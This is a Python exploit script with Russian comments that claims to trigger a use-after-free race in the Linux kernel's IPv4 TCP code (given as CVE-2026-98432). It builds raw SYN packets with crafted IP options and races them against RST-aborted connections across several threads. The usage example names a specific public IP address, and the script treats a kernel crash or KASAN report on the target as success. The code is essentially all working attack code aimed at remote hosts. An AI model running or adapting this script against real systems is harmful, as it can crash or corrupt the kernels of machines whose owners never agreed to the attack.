#!/usr/bin/env python3
"""CVE-2026-98432 — триггер гонки в ipv4 TCP (inet_opt UAF).

    sudo python3 trigger.py 195.133.84.162 8181 --threads 8 --seconds 120

Что делает (по описанию фикса: kfree_rcu вместо kfree в inet_sock_destruct):
  1. обычным сокетом с IP_OPTIONS создаём request-сокет и доходим до ESTABLISHED —
     дочерний сокет забирает ireq_opt (указатель, без копирования);
  2. закрываем с SO_LINGER(0) -> RST -> дочерний сокет освобождается, inet_opt -> kfree();
  3. сразу же отправляем сырой SYN с тем же 4-tuple, что заставляет сервер вызвать
     tcp_check_req() -> tcp_v4_send_synack() -> ip_options_build() по уже освобождённому
     ireq_opt.

Нужен root и CAP_NET_RAW. Окно узкое — гоняем много попыток параллельно.
Критерий успеха: oops/KASAN в dmesg на целевой машине или разрыв соединений.

Мониторинг на цели:  dmesg -w | grep -iE "kasan|BUG:|ip_options_build|slab-out-of-bounds"
"""
from __future__ import annotations

import argparse
import random
import socket
import struct
import threading
import time

TARGET = ("127.0.0.1", 80)


def csum(data: bytes) -> int:
    if len(data) % 2:
        data += b"\x00"
    s = 0
    for i in range(0, len(data), 2):
        s += (data[i] << 8) + data[i + 1]
    while s >> 16:
        s = (s & 0xFFFF) + (s >> 16)
    return (~s) & 0xFFFF


def ip_options() -> bytes:
    """40 байт IP-опций: NOP-паддинг + timestamp-опция с нашими байтами."""
    ts = bytes([68, 12, 5, 0]) + b"\x41" * 8      # type=68 (TS), len=12, ptr=5
    return (ts + b"\x01" * (40 - len(ts)))[:40]


def build_syn(src_ip: str, dst_ip: str, sport: int, dport: int, seq: int) -> bytes:
    opts = ip_options()
    ihl = 5 + len(opts) // 4
    tcp = struct.pack("!HHIIBBHHH", sport, dport, seq, 0, (5 << 4), 0x02, 65535, 0, 0)
    pseudo = socket.inet_aton(src_ip) + socket.inet_aton(dst_ip) + struct.pack("!BBH", 0, 6, len(tcp))
    tcp_c = csum(pseudo + tcp)
    tcp = struct.pack("!HHIIBBHHH", sport, dport, seq, 0, (5 << 4), 0x02, 65535, tcp_c, 0)
    total = ihl * 4 + len(tcp)
    ip = struct.pack("!BBHHHBBH4s4s", 0x40 | ihl, 0, total, random.randint(1, 65535), 0, 64, 6, 0,
                     socket.inet_aton(src_ip), socket.inet_aton(dst_ip))
    ip = ip[:12] + struct.pack("!H", csum(ip)) + ip[14:]
    return ip + opts + tcp


def open_conn(sport: int):
    """Создаёт соединение с IP-опциями и сразу рвёт его RST."""
    s = socket.socket()
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack("ii", 1, 0))
    try:
        s.setsockopt(socket.IPPROTO_IP, socket.IP_OPTIONS, ip_options())
    except OSError:
        pass
    try:
        s.bind(("", sport))
    except OSError:
        pass
    s.settimeout(1.5)
    try:
        s.connect(TARGET)
        return True
    except OSError:
        return False
    finally:
        s.close()          # SO_LINGER(0) -> RST


def worker(idx: int, seconds: float, stats: dict, lock: threading.Lock, raw: socket.socket | None,
           src_ip: str):
    base = 20000 + (idx * 131) % 30000
    end = time.time() + seconds
    while time.time() < end:
        sport = base + random.randint(0, 400)
        ok = open_conn(sport)
        # сразу повторный SYN с тем же 4-tuple — гоним сервер через tcp_check_req()
        if raw is not None:
            try:
                raw.sendto(build_syn(src_ip, TARGET[0], sport, TARGET[1], random.getrandbits(32)),
                           (TARGET[0], 0))
            except OSError:
                pass
        with lock:
            stats["ok" if ok else "err"] += 1
            stats["attempts"] += 1


def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("host")
    ap.add_argument("port", type=int)
    ap.add_argument("--threads", type=int, default=8)
    ap.add_argument("--seconds", type=float, default=120)
    ap.add_argument("--src", default="", help="исходный IP для сырых SYN (по умолчанию авто)")
    a = ap.parse_args()
    global TARGET
    TARGET = (a.host, a.port)

    src_ip = a.src
    if not src_ip:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        try:
            s.connect((a.host, a.port))
            src_ip = s.getsockname()[0]
        except OSError:
            src_ip = "0.0.0.0"
        finally:
            s.close()

    try:
        raw = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
        raw.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
        print(f"[+] сырые сокеты доступны, src={src_ip}")
    except (PermissionError, OSError) as e:
        raw = None
        print(f"[-] raw socket недоступен ({e}) — работаем только обычными connect+RST")

    stats = {"ok": 0, "err": 0, "attempts": 0}
    lock = threading.Lock()
    th = [threading.Thread(target=worker, args=(i, a.seconds, stats, lock, raw, src_ip), daemon=True)
          for i in range(a.threads)]
    t0 = time.time()
    for t in th:
        t.start()
    for t in th:
        t.join()
    print(f"[+] {stats['attempts']} попыток за {time.time()-t0:.1f}s "
          f"(ok={stats['ok']}, err={stats['err']})")
    print("[i] проверь на цели: dmesg | grep -iE 'kasan|BUG:|ip_options_build'")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())